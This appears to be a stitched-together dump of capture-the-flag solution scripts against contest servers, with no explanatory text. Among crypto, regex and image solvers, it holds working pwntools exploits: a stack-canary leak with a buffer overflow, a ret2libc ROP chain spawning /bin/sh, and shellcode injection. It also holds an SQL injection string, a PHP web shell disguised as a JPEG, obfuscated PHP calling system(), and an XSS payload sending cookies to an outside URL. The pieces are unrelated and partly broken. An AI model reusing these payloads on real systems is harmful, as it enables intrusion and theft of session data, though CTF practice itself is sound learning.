Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
from pwn import *
import string
def recvline(r):
lines = [r.recvline().decode()[1:] for _ in range(8)]
chunks = [[l[i:i+6] for i in range(0, len(l), 7)] for l in lines]
chars = list(zip(*chunks))
return chars
def recvall(r, timeout=1):
while i := r.recvline(timeout=timeout).decode():
pass
mapping = {}
with remote('challenge.ctf.games', 30877) as r:
recvall(r, timeout=5)
for c in string.ascii_letters + string.digits + '+=/':
r.sendline(c)
r.recvline()
result = recvline(r)[0]
mapping[result] = c
print(c, '\n'.join(result), sep='\n')
recvall(r)
r.sendline('base64 flag.png')
r.recvline()
with open('b64flag.hd', 'w') as f:
while True:
for i in recvline(r):
print('\n'.join(i))
result = mapping.get(i, ' ')
f.write(result)from pwn import *
import random
regex1 = [str(i) for i in range(100, 1000)]
regex2 = [i * 5 for i in 'abcdefghijklmnop']
regex3 = ['1.' + '1'*i for i in range(1, 1000)]
regex4 = ['+' + '1'*i for i in range(3, 1000)]
regex5 = ['<' + 'a'*i + '>' for i in range(1, 1000)]
regex6 = [f'0{i}:{j}' for i in range(10) for j in range(60)]
regex7 = [f'1{i}-01-{j}' for i in range(100, 1000) for j in range(10, 30)]
regex8 = ['a'*i + '@a.com' for i in range(1, 200)]
regex9 = ['https://www.youtube.com/channel/UC' + i + j + 20*k + '/' for i in 'abcdefghijklmnopq' for j in 'abcdefghijklmnopq' for k in 'abcdefghijklmnopq']
regexA = [' '.join(['.....']*i) for i in range(1, 200)]
regexB = ['1.1.1.' + str(i) for i in range(256)]
regexC = ['0'*i for i in range(1, 100)]
regexD = ['00' + '::'*i for i in range(1, 200)]
r = remote("challenge.ctf.games", 30811)
while True:
r.recvuntil('?\n')
regex = r.recvline().strip().decode()
if regex == '^\d{3}$':
pwned = regex1.pop()
elif regex == '^\w{5}$':
pwned = regex2.pop()
elif regex == '^\d*\.\d+$':
pwned = regex3.pop()
elif regex == '^\+?(\d.*){3,}$':
pwned = regex4.pop()
elif regex == '<\/?[\w\s]*>|<.+[\W]>':
pwned = regex5.pop()
elif regex == '^(0?[1-9]|1[0-2]):[0-5][0-9]$':
pwned = regex6.pop()
elif regex == '([12]\d{3}-(0[1-9]|1[0-2])-(0[1-9]|[12]\d|3[01]))':
pwned = regex7.pop()
elif regex == '^([a-zA-Z0-9._%-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,6})*$':
pwned = regex8.pop()
elif regex == 'https?:\/\/(www\.)?youtube.com\/channel\/UC([-_a-z0-9]{22})/':
pwned = regex9.pop()
elif regex == '^[.-]{1,5}(?:[ \\t]+[.-]{1,5})*(?:[ \\t]+[.-]{1,5}(?:[ \\t]+[.-]{1,5})*)*$':
pwned = regexA.pop()
elif regex == '^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$':
pwned = regexB.pop()
elif regex == r'^(?:(?:\(?(?:00|\+)([1-4]\d\d|[1-9]\d?)\)?)?[\-\.\ \\\/]?)?((?:\(?\d{1,}\)?[\-\.\ \\\/]?){0,})(?:[\-\.\ \\\/]?(?:#|ext\.?|extension|x)[\-\.\ \\\/]?(\d+))?$':
pwned = regexC.pop()
elif regex == r'(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))':
pwned = regexD.pop()
else:
print(f"Error couldn't find valid regex for {regex}")
log.success("Regex: " + regex)
log.success("Generated: " + pwned)
r.recvuntil('> ')
r.sendline(pwned)import hashlib
def hash(string):
return hashlib.sha256(string).hexdigest()
time = b"12345678901"
name = b"test"
import os, binascii
import re
while True:
answer = binascii.hexlify(os.urandom(20))
thing = hash(name + answer + time)
if len(re.findall('^(.{5}0e[\d]{18})', thing)) > 0:
print(re.findall('^.....0e\d{18}', thing))
print(name + b" " + answer + b" " + time)
print(thing)
exit()#!/usr/bin/env python3
from Crypto.Util.number import *
from functools import reduce
import operator
#from secret import flag, n, k
def comb(n, k):
if k > n :
return 0
k = min(k, n - k)
u = reduce(operator.mul, range(n, n - k, -1), 1)
d = reduce(operator.mul, range(1, k + 1), 1)
return u // d
comb(5,2)
def encrypt(msg, n, k):
msg = bytes_to_long(msg.encode('utf-8'))
if msg >= comb(n, k):
return -1
m = ['1'] + ['0' for i in range(n - 1)]
for i in range(1, n + 1):
if msg >= comb(n - i, k):
m[i-1]= '1'
msg -= comb(n - i, k)
k -= 1
m = int(''.join(m), 2)
i, z = 0, [0 for i in range(n - 1)]
c = 0
while (m > 0):
if m % 4 == 1:
c += 3 ** i
m -= 1
elif m % 4 == 3:
c += 2 * 3 ** i
m += 1
m //= 2
i += 1
return c
enc = encrypt(flag, n, k)
print('enc =', enc)candidates = set()
x = 1
m = 160
while True:
while (x**(m+1) - (x+1)**m).bit_length() < 1023:
x += 1
while (num := x**(m+1) - (x+1)**m).bit_length() < 1026:
if isPrime(num):
for i in candidates:
if min(i, num) < max(i, num) < min(i, num) << 3 and (i*num).bit_length() == 2048:
phi = (i-1)*(num-1)
d = inverse(0x10001, phi)
pt = pow(flag, d, i*num)
try:
print(long_to_bytes(pt).decode())
quit()
except Exception:
pass
candidates.add(num)
x += 1
m -= 1enc = 5550332817876280162274999855997378479609235817133438293571677699650886802393479724923012712512679874728166741238894341948016359931375508700911359897203801700186950730629587624939700035031277025534500760060328480444149259318830785583493from Crypto.Util.number import *
from functools import reduce
import operator
def comb(n, k):
if k > n :
return 0
k = min(k, n - k)
u = reduce(operator.mul, range(n, n - k, -1), 1)
d = reduce(operator.mul, range(1, k + 1), 1)
return u // d
def from_int(num, base, alpha="0123456789abcdef"):
out = ""
while num:
out = alpha[num%base] + out
num //= base
return out or alpha[0]
ct = 5550332817876280162274999855997378479609235817133438293571677699650886802393479724923012712512679874728166741238894341948016359931375508700911359897203801700186950730629587624939700035031277025534500760060328480444149259318830785583493
# 5550332948208120629025411001331320743912337889071945074153769995654439069135971336244981001925727908903742116646762141899301774026507397497025053737665676875918569586865903953910920954499256359219273488814885412340248767805295663882248
ct = from_int(ct,3)
print(ct)
m = 0
for i in ct:
m *= 2
if i == "1":
m += 1
elif i == "2":
m -= 1
print(m)
c = [i for i in from_int(m,2)]#[1:]
n = len(c)#+1
k = 0
for i in c:
if i == "1":
k += 1
print(n,k)
msg = -comb(n - 1, k)
for i in range(1, n + 1):
if c[i-1] == '1':
msg += comb(n - i, k)
k -= 1
print(long_to_bytes(msg))$_=([]."")[([]==[])+([]==[])+([]==[])];$_++;$_++;$__="";$___=$_;$___++;$___++;$___++;$____=$___;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$_____=$____;$_____++;$_____++;$__.=$_____;$____=$___;$____++;$____++;$__.=$____;$__.=$_____;$____++;$__.=$____;$___=$_;$___++;$___++;$___++;$____=$___;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$__.=$____;$___=$_;$___++;$___++;$___++;$____=$___;$____++;$__.=$___;$___=$_;$___++;$___++;$___++;$____=$___;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$__.=$____;$__();$_=([]."")[([]==[])+([]==[])+([]==[])];$_++;$_++;$__="";$___=$_;$___++;$___++;$___++;$____=$___;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$_____=$____;$_____++;$_____++;$__.=$_____;$_____++;$_____++;$__.=$_____;$_____=$___;$_____++;$_____++;$_____++;$__.=$_____;$_____++;$_____++;$_____++;$_____++;$_____++;$__.=$_____;$____++;$____++;$____++;$____++;$____++;$____++;$__.=$____;$__.=$___;$_=([]."")[([]==[])+([]==[])+([]==[])];$_++;$_++;$_++;$_++;$_____="";$______=$_;$______++;$______++;$______++;$_______=$______;$_______++;$_______++;$_______++;$_______++;$_______++;$_______++;$_______++;$_______++;$________=$_______;$________++;$________++;$_____.=$________;$_____.=$_;$_=([]."")[([]==[])+([]==[])+([]==[])];$_____.=$_;$_++;$_++;$_++;$_____.=$_;$_++;$_++;$_____.=$_;$_++;$_++;$_++;$_____.=$_;$_++;$_++;$_++;$_____.=$_;$_=([]."")[([]==[])+([]==[])+([]==[])];$_++;$_++;$_++;$_++;$_____.=$_;$_=([]."")[[].[]+[][[]]];$_______="";$________=$_;$________++;$________++;$________++;$________++;$________++;$_______.=$________;$_________=$________;$_________++;$_________++;$_________++;$_________++;$_________++;$_________++;$_______.=$_________;$_______.=$_;$_________=$________;$_________++;$_______.=$_________;$_______.=".";$_________++;$__________=$_________;$__________++;$__________++;$__________++;$__________++;$__________++;$__________++;$__________++;$__________++;$_______.=$__________;$_______.=$_________;$_______.=$__________;$__($_____($_______));/.git/index
/./git/thisistheflag.txt
"The flag was here"' OR 1=1 ORDER BY name LIMIT 1#ÿØÿà JFIF
<?php
system("cat /flag.txt");
?>import socket
import re
fibo = [0, 1, 1, 2, 3, 5, 8, 13, 21, 8, 3, 11, 14, 25, 13, 12, 25, 11, 10, 21, 5, 0, 5, 5, 10, 15, 25, 14, 13, 1, 14, 15, 3, 18, 21, 13, 8, 21, 3, 24, 1, 25, 0, 25, 25, 24, 23, 21, 18, 13]
def fibshift(num, msg):
list1 = [chr(ord(i)+fibo[num]) for i in msg]
list2 = [chr(ord(j)-26) if ord(j)>90 else j for j in list1]
return "".join(list2)
clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
clientsocket.connect(('misc.2020.chall.actf.co', 20300))
for i in range(0, 50):
message = clientsocket.recv(2048)
task = [k for k in message.splitlines() if "Shift" in k][0]
clientsocket.send(fibshift(int(re.search('by n=(.*)', task).group(1)), re.search('Shift (.*) by', task).group(1)) + "\n")
print(clientsocket.recv(2048))import numpy as np
from PIL import Image
from Crypto.Util.number import inverse
enc_image = Image.open('enc.png')
img = np.array(enc_image)
a, b, c = img.shape
key = [41, 37, 23]
for x in range(0, a):
for y in range(0, b):
pixel = img[x, y]
for i in range(0, 3):
pixel[i] = inverse(key[i], 251) * pixel[i] % 251
img[x, y] = pixel
flag = Image.fromarray(img)
flag.save('flag.png')<img src=x onerror=fetch("requestbinurl?cookie="+document.cookie)>import numpy as np
from random import gauss
import math
out2 = "100100101101000011011011000010100001010000001101011011000011010010010110110000101000010101000010111100001101000011011011000111100001010000101101010011000011010000110100110000100000010101000010101100001101000011011011000010100001010100000111011011001010010001110110110000101100110101000010101100001101000011011011000010100001010100001101011011000011010000110110110000100000010101000010101100000011100011111011000010000001010100001101011011000011010100110110110000101000010101010010111100001100000011011110000010100011010100001101011011001011110000010110110000101000010101000010101100011101000011011011000010100001010110001100011011000011010100111010110001101000010101000010101100001101000011011011000010100001010110001101011011000011010000110110111010101010010101000010101110001101000011010011000010100001010100001101011011000011010000110100110000101000010101000010101100001101000011011011000010100001010100001111011011100011010000101110110000101000010101000010101100001101000011011011000010100011010100101101011011000011110000110100010000111000010101000010101000001101010011011011000010100000010100000101011011000011010000110110110000101000010101000010101000001101000011011011000010100001010100001101011011000011010000110110110000101000010101000110101100001101010011011111000010100001010100001101011011000001110000110110110000101001010101001010101100001001001011011010000010100001010101001101011111000011010100010110110000101000010101000010101100001101000011011011001010000000010100001101011011000011010000110110110000101000010101000010101100001101100011011011010000110001010000001101011011000011010000110110110000101000010101001011101100001101000011011010000010100001010101001001011011000011011000110110010000101001010101000010101100001111000011011011000010110001010100101101011011000011010000110110111000101000010100000010101100001101010011011011000010100001010100001101011011000011011000110110110001101000011101001010101100001001000011011011000010100010010100001101011011000011010000110100100000101000010101000010111100001101000111011011000010100001010100001101011001000011010000110110110000101000110101000000101100001101010011011011001010101001010100001101111011000011010000110110110000101000010111000010101100001101000011011011000010100001010100011101011011000011010001110110100000101000010101000010101100001101000011011011000010100101010100001101011011000011010000110110110000101000000101000010101110001101000011011111000110100001010100001101011011000011010000110110110000001000011000000110101100000101000011011011000010100001010100000101011011000011010100110110110000101001010100001010101100001101000011011001000010101011010100001101011111000011010000110010110000101000010101000010100100001101000011011011001010100001010100001101011111000011010000110110100000101010000101000010101100001101000011111011000000110001011100001111011011000011010000011110110000101000010101000010"
out = []
out2 = ""
with open("flag.txt","r") as f:
cont = f.read().split("\n")
sums = 0
for i,num in enumerate(cont):
sums += float(num)
sums += float(cont[i+14400])
if (i + 1)%10 == 0:
out.append(sums/20+0.5)
sums = 0
if i == 14399:
break
for i in out:
a = round(i)
if a < 0:
a = 0
if a > 1:
a = 1
out2 = out2 + str(a)
print(out2)
"""
10010-11012010000110110110000101000010100000011010110120000110100100101101100002010-10010101000010111100002102000011-111011000111100001010000101101020011000011010000210100110000100000010101000-110101100-102201000011011-111-1-100101000-110201000-101120120110010200100011101101100002011001101020000101011000-111010000120110210000101000010101000011010110110000110100001101101100001000000101-110000101011000000111000121110110000100000010101-10001101-111011000011-1101001101101100-101010-100101-1101001011120000110000-1-111011110000-11010001101010000110201102100101111000001011011000-1101000-11010100-1010101100012101-100011011012000020100001010110001100011011000011-11010-1111020110-10110100001010100001-1101100001101000011011011000010100001010110001102021011000-1110100-1011011011101010101001010100001010111-10-1210100001101001100001-110000101010000110101101100-1011010000110100110000101000010101-1000201011000011-11-1000110110110000101000010101000011110120121000110100-1010122011000-11010-10020101000-1101011000011-1100-1011011011000010100011010100101101011011000011110000110100020000111000010101000-1102010000011010100110110110000101000000101000001010110110-10011-11000011011011000010100001010100001010100-1001101000011011011000010100001-1101-1000110101101100001101000011021011-10-1010100001010100011-1101100001101010011011111-10-1010100001010100001101011-111000001120000110110110000101001010101001010101100002001001011021010000010100001010101001101011111000012010100010110110000101000010101-1000101012000011010-10-11101101100101000000001010000110102101100001101000011011011-100-110100002010100001010110000110110001101101101-1000110001010000-1011010110110000110100001201101100001010000101010010111011-10-10110100001101102000-1-110100001010101001001011-1110000110110001101100100001010010101010000101011000011110000110110120000101100020101001011010110110000110100001101101110002010000102-1000002010110000110101001101101100001010000101010000210101101100001202100011011011000110100001110200101010110000100100001101101100001-11000100101000012010110110000110100002101001000001010000101010000101111000011010001110110110-1001010000101010000110101100100001101-1000110110110000101-1001101-110-10000201100001101010011021-111001010101001010100001101111011000011-1100001101101100002010000101110000101011000011010000110110110000101-1000101010001120101101100001101-10011101101000-10101000010101000010101100001101-100011022011000010100101010100001101021021000011-11000011011011-100020100000-1101000010101110001101000-121011111000110100002010100001101011011000011010000110110110000001000011000000110101100000101000011011011-1000101000020101000-10101011011-1-100110101002101101100001010010201000010101-11100001101000011011001000010101011-11010000210101111100001101000011001011-1000101000010101000010100200001101000-121011011001010100001010100001101021111000-11101000011011010-10001010100001010-10010101100001101000011111011000000110-10101110-1-10111102102100001101000001111011000010100001010100001-1"""
print(len(out2))
out3 = out2
out4 = out3.replace("110","-")
out4 = out4.replace("000"," ")
out4 = out4.replace("10",".")
#out4 = out4.replace("00","")
out4 = out4.replace("0","")
out4 = out4.replace("1",".")
print("---------")
print(out4)
input()nc shell.actf.co 20700 | python -c 'print("A"*40+"\x86\x11\x40\x00\x00\x00\x00\x00")'from PIL import Image
temp = 0
im = Image.open('breathe.jpg', 'r')
im2 = Image.open('output.png', 'r')
pix_val = list(im.getdata())
pix_val2 = list(im2.getdata())
flag = []
pix_list = zip([x for sets in pix_val for x in sets], [x for sets in pix_val2 for x in sets])
for i in pix_list:
if len(str(i[1])) < len(str(i[0])):
temp *= 10
elif i[1] == 255:
temp *= 10
else:
temp = (temp*10)+int(str(i[1])[0])
if len(str(temp)) == 3:
flag.append(chr(temp))
temp = 0
elif len(str(temp)) == 2 and temp != 11 and temp != 12 and temp != 10:
flag.append(chr(temp))
temp = 0
print("".join(flag))from pwn import *
import re
e = ELF("./canary")
p = remote("shell.actf.co" ,20701)
for _ in range(23):
p.recvline()
p.recvline()
p.sendline("%17$lx")
flagaddr = 0x0000000000400787
output = p.recvline()
num = re.findall("Nice to meet you, (.*)!", output)
canary = int(num[0], 16)
log.info("Canary: " + hex(canary))
firstpad = 'A' * 56 #Junk before the canary
canaryString = p64(canary)
neweip = p64(flagaddr)
lastpad = 'B' * 8
payload = firstpad + canaryString + lastpad + neweip
p.sendline(payload)
log.info("Response: " + p.recvline())from pwn import *
NUM_TO_RBP = 0x80
fakestack = 0x404500
padding = b'A'*NUM_TO_RBP + p64(fakestack)
context.arch = 'amd64'
e = ELF("./patches")
libc = e.libc
p = e.process() if args.LOCAL else remote('challenge.ctf.games', 30585)
p.recvuntil('> ')
rop = ROP(e)
#ret2plt libc leak
poprdi = rop.find_gadget(['pop rdi','ret']).address
retgadget = rop.find_gadget(['ret']).address
chain = flat(poprdi, e.got['puts'],e.plt['puts'],retgadget,0x000000000040123c)
pause()
p.sendline(padding + chain)
leak = p.recvline()[:-1].ljust(8,b'\x00')
puts = u64(leak)
log.info(f"Libc leak: {hex(puts)}")
libcbase = puts - libc.symbols['puts']
libc.address = libcbase
log.info(f"Libc base: {hex(libcbase)}")
# Build rop chain to read into RW section, then execve
rop2 = ROP(libc)
rop2.read(0,0x404300,8)
rop2.execve(0x404300,0,0)
payload = padding + rop2.chain()
p.sendline(payload)
p.send(b'/bin/sh\x00')
p.interactive()from pwn import *
context.arch = 'amd64'
e = ELF("./seashells")
p = e.process() if args.LOCAL else remote('challenge.ctf.games', 32134)
addr = int(p.recvline(),16)
p.recvuntil(":")
sc = asm(shellcraft.amd64.linux.sh())
payload = fit({0: sc, 0x88: addr})
p.sendline(payload)
p.interactive()socket['emit']('click', coords[0x0], coords[0x1]);function drawShapes() {
ctx["clearRect"](0x0, 0x0, 0x1f4, 0x12c);
shapes['map'](
(_0x401a13,_0x53031c)=>_0x53031c ? ctx["fillRect"](_0x401a13['x'] - 0x5, _0x401a13['y'] - 0x5, 0xa, 0xa)
: ctx['beginPath']() + ctx["arc"](_0x401a13['x'], _0x401a13['y'], 0x5, 0x0, Math['PI'] * 0x2) + ctx["closePath"]() + ctx["fill"]()
);socket['emit']('click', shapes[0].x, shapes[0].y);var _0x1ce0 = ['bWFw', 'SlBOcFY=', 'a1dQd2M=', 'Z2V0Q29udGV4dA==', 'SkxnSXA=', 'Y2xvc2VQYXRo', 'Y0dhbWU=', 'Y291bnRlcg==', 'Z2V0Qm91bmRpbmdDbGllbnRSZWN0', 'c3RhdGVPYmplY3Q=', 'QmZDSk0=', 'WVlOdEU=', 'ZmlsbA==', 'TWZhRHU=', 'c3BsaXQ=', 'TnNndkw=', 'd2Fybg==', 'ck9ZWHg=', 'UnNGSFI=', 'b3dsQnU=', 'RkRCaGY=', 'eERtaWc=', 'cVZyYms=', 'dEtxZXQ=', 'YllhZFQ=', 'UVJWcVA=', 'eFJkWUM=', 'QUdRZnU=', 'UUR3cHc=', 'Tk9Cam4=', 'bUJ2QU8=', 'Z2V0RWxlbWVudEJ5SWQ=', 'Y2xpZW50WA==', 'bGVuZ3Ro', 'ZXhjZXB0aW9u', 'TmhncEI=', 'Q1VnV20=', 'QlFQYVI=', 'YWRkRXZlbnRMaXN0ZW5lcg==', 'Y29uc3RydWN0b3I=', 'YmVnaW5QYXRo', 'YUpBbHU=', 'aW5pdA==', 'Y1h0TGY=', 'cHh0Q2Y=', 'XCtcKyAqKD86W2EtekEtWl8kXVswLTlhLXpBLVpfJF0qKQ==', 'ZXd3YUE=', 'ZGlzY29ubmVjdA==', 'SUp4T0w=', 'QmlRb1Y=', 'cmV0dXJuIC8iICsgdGhpcyArICIv', 'S09Bd1E=', 'V0ZtVHQ=', 'bmF0Qm8=', 'dlFSdEU=', 'I2ZmMDAwMA==', 'Y29uc29sZQ==', 'VEJXUWk=', 'SGl0bEI=', 'ZW95Y1g=', 'YWF0U24=', 'UU5Pc3I=', 'a2ZPREk=', 'UkhqWGU=', 'ZGVidWc=', 'QlZnUEI=', 'bENjSEo=', 'cFhQRkw=', 'bnBLSEU=', 'ZXJyb3I=', 'e30uY29uc3RydWN0b3IoInJldHVybiB0aGlzIikoICk=', 'Y2FsbA==', 'T2ROVEE=', 'dG9w', 'b2Jlemg=', 'U1dvS0Y=', 'c2hhcGVz', 'eXRJbkE=', 'Y3NheFE=', 'ZnVuY3Rpb24gKlwoICpcKQ==', 'bG9n', 'V3ZJQ3o=', 'anhGSm8=', 'YXhFRW8=', 'cGVKYlY=', 'WFZRU1A=', 'REdEcUU=', 'dGFibGU=', 'bnlmTlc=', 'dkJmanI=', 'd3lJVVA=', 'Y2xpY2s=', 'UXJYaGo=', 'ZFVoano=', 'cmV0dXJuIChmdW5jdGlvbigpIA==', 'XihbXiBdKyggK1teIF0rKSspK1teIF19', 'QURlbWk=', 'VEpEWmk=', 'VWRBTFo=', 'WWpXaXI=', 'elFyalM=', 'Mnw1fDl8OHwxfDZ8N3wwfDR8Mw==', 'aW5wdXQ=', 'd2hpbGUgKHRydWUpIHt9', 'QWZBT1M=', 'WmZNeFc=', 'dHJhY2U=', 'RVBublU=', 'Z2dlcg==', 'UEtrQmg=', 'Y2xlYXJSZWN0', 'YXJj', 'dGVzdA==', 'c2NvcmU=', 'bktJanY=', 'Y2hhaW4=', 'Q2Z1V0o=', 'U2NvcmU6IA==', 'SlV0dVY=', 'ZmlsbFN0eWxl', 'YlN0YXJ0', 'aW5GREs=', 'SERnSEY=', 'VlN0TG8=', 'ZmlsbFJlY3Q=', 'WHhaaXc=', 'c3RhcnQ=', 'YXBwbHk=', 'NHwxfDV8N3w2fDN8Mnww', 'ZGVidQ==', 'ZW1pdA==', 'RUpoc08=', 'enFVUWo=', 'ZldOVGs=', 'V0ZibmY=', 'aW5mbw=='];
(function(_0x20cc64, _0x1ce09b) {//cookie stuff
var _0x34d7a6 = function(_0x45c586) {
while (--_0x45c586) {
_0x20cc64['push'](_0x20cc64['shift']());
}
};
var _0x59c786 = function() {
var _0x2ee600 = {
'data': {
'key': 'cookie',
'value': 'timeout'
},
'setCookie': function(_0x1baf97, _0x584a1c, _0x27dfce, _0x2f47ff) {
_0x2f47ff = _0x2f47ff || {};
var _0x3cdb63 = _0x584a1c + '=' + _0x27dfce;
var _0x3ab829 = 0x0;
for (var _0x30b65a = 0x0, _0x2024f0 = _0x1baf97['length']; _0x30b65a < _0x2024f0; _0x30b65a++) {
var _0x1e37b5 = _0x1baf97[_0x30b65a];
_0x3cdb63 += ';\x20' + _0x1e37b5;
var _0x1dca17 = _0x1baf97[_0x1e37b5];
_0x1baf97['push'](_0x1dca17);
_0x2024f0 = _0x1baf97['length'];
if (_0x1dca17 !== !![]) {
_0x3cdb63 += '=' + _0x1dca17;
}
}
_0x2f47ff['cookie'] = _0x3cdb63;
},
'removeCookie': function() {
return 'dev';
},
'getCookie': function(_0x3962bf, _0x49db25) {
_0x3962bf = _0x3962bf || function(_0x506876) {
return _0x506876;
}
;
var _0x3b872e = _0x3962bf(new RegExp('(?:^|;\x20)' + _0x49db25['replace'](/([.$?*|{}()[]\/+^])/g, '$1') + '=([^;]*)'));
var _0x21d4b7 = function(_0xaa6690, _0x5f084e) {
_0xaa6690(++_0x5f084e);
};
_0x21d4b7(_0x34d7a6, _0x1ce09b);
return _0x3b872e ? decodeURIComponent(_0x3b872e[0x1]) : undefined;
}
};
var _0x37cabe = function() {
var _0x27a400 = new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');
return _0x27a400['test'](_0x2ee600['removeCookie']['toString']());
};
_0x2ee600['updateCookie'] = _0x37cabe;
var _0xc4302b = '';
var _0x2d1069 = _0x2ee600['updateCookie']();
if (!_0x2d1069) {
_0x2ee600['setCookie'](['*'], 'counter', 0x1);
} else if (_0x2d1069) {
_0xc4302b = _0x2ee600['getCookie'](null, 'counter');
} else {
_0x2ee600['removeCookie']();
}
};
_0x59c786();
}(_0x1ce0, 0xed));
var _0x34d7 = function(_0x20cc64, _0x1ce09b) {
_0x20cc64 = _0x20cc64 - 0x0;
var _0x34d7a6 = _0x1ce0[_0x20cc64];
if (_0x34d7['ptmszC'] === undefined) {//ignore this below, values are decoded b64 from _0x1ce0. if statement checks if the values have been decoded already
(function() {
var _0x45c586 = function() {
var _0xc4302b;
try {
_0xc4302b = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');')();
} catch (_0x2d1069) {
_0xc4302b = window;
}
return _0xc4302b;
};
var _0x2ee600 = _0x45c586();
var _0x37cabe = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
_0x2ee600['atob'] || (_0x2ee600['atob'] = function(_0x1baf97) {
var _0x584a1c = String(_0x1baf97)['replace'](/=+$/, '');
var _0x27dfce = '';
for (var _0x2f47ff = 0x0, _0x3cdb63, _0x3ab829, _0x30b65a = 0x0; _0x3ab829 = _0x584a1c['charAt'](_0x30b65a++); ~_0x3ab829 && (_0x3cdb63 = _0x2f47ff % 0x4 ? _0x3cdb63 * 0x40 + _0x3ab829 : _0x3ab829,
_0x2f47ff++ % 0x4) ? _0x27dfce += String['fromCharCode'](0xff & _0x3cdb63 >> (-0x2 * _0x2f47ff & 0x6)) : 0x0) {
_0x3ab829 = _0x37cabe['indexOf'](_0x3ab829);
}
return _0x27dfce;
}
);
}());
_0x34d7['pwjwqN'] = function(_0x2024f0) {
var _0x1e37b5 = atob(_0x2024f0);
var _0x1dca17 = [];
for (var _0x3962bf = 0x0, _0x49db25 = _0x1e37b5['length']; _0x3962bf < _0x49db25; _0x3962bf++) {
_0x1dca17 += '%' + ('00' + _0x1e37b5['charCodeAt'](_0x3962bf)['toString'](0x10))['slice'](-0x2);
}
return decodeURIComponent(_0x1dca17);
}
;
_0x34d7['psiqcL'] = {};
true = !![];
}
var _0x59c786 = _0x34d7['psiqcL'][_0x20cc64];
if (_0x59c786 === undefined) {
var _0x3b872e = function(_0x21d4b7) {
this['FnKpUT'] = _0x21d4b7;
this['dnpwlO'] = [0x1, 0x0, 0x0];
this['xxqOHK'] = function() {
return 'newState';
}
;
this['UFWVYh'] = '\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';
this['okSRxK'] = '[\x27|\x22].+[\x27|\x22];?\x20*}';
};
_0x3b872e['prototype']['zRoycw'] = function() {
var _0x506876 = new RegExp(this['UFWVYh'] + this['okSRxK']);
var _0xaa6690 = _0x506876['test'](this['xxqOHK']['toString']()) ? --this['dnpwlO'][0x1] : --this['dnpwlO'][0x0];
return this['wWoyOu'](_0xaa6690);
}
;
_0x3b872e['prototype']['wWoyOu'] = function(_0x5f084e) {
if (!Boolean(~_0x5f084e)) {
return _0x5f084e;
}
return this['Mmnboh'](this['FnKpUT']);
}
;
_0x3b872e['prototype']['Mmnboh'] = function(_0x27a400) {
for (var _0x4f73b9 = 0x0, _0x317d20 = this['dnpwlO']['length']; _0x4f73b9 < _0x317d20; _0x4f73b9++) {
this['dnpwlO']['push'](Math['round'](Math['random']()));
_0x317d20 = this['dnpwlO']['length'];
}
return _0x27a400(this['dnpwlO'][0x0]);
}
;
new _0x3b872e(_0x34d7)['zRoycw']();
_0x34d7a6 = _0x34d7['pwjwqN'](_0x34d7a6);
_0x34d7['psiqcL'][_0x20cc64] = _0x34d7a6;
} else {
_0x34d7a6 = _0x59c786;
}
return _0x34d7a6;
};
var _0x2f47ff = function() {
var _0x34a890 = {
'xDmig': function(_0x1acd1d, _0x50045b) {
return _0x1acd1d === _0x50045b;
},
'FDBhf': "npKHE",
'AWOLM': "while (true) {}",
'RZUwZ': "counter",
'eoycX': "QNOsr",
'cXtLf': 'BuBbm'
};
var _0x418c8e = !![];
return function(_0x28cb74, _0x39da2d) {
var _0x22e999 = {
'EPnnU': "while (true) {}",
'ZfMxW': "counter"
};
if (false) {
if (_0x39da2d) {
var _0xdc044d = _0x39da2d["apply"](_0x28cb74, arguments);
_0x39da2d = null;
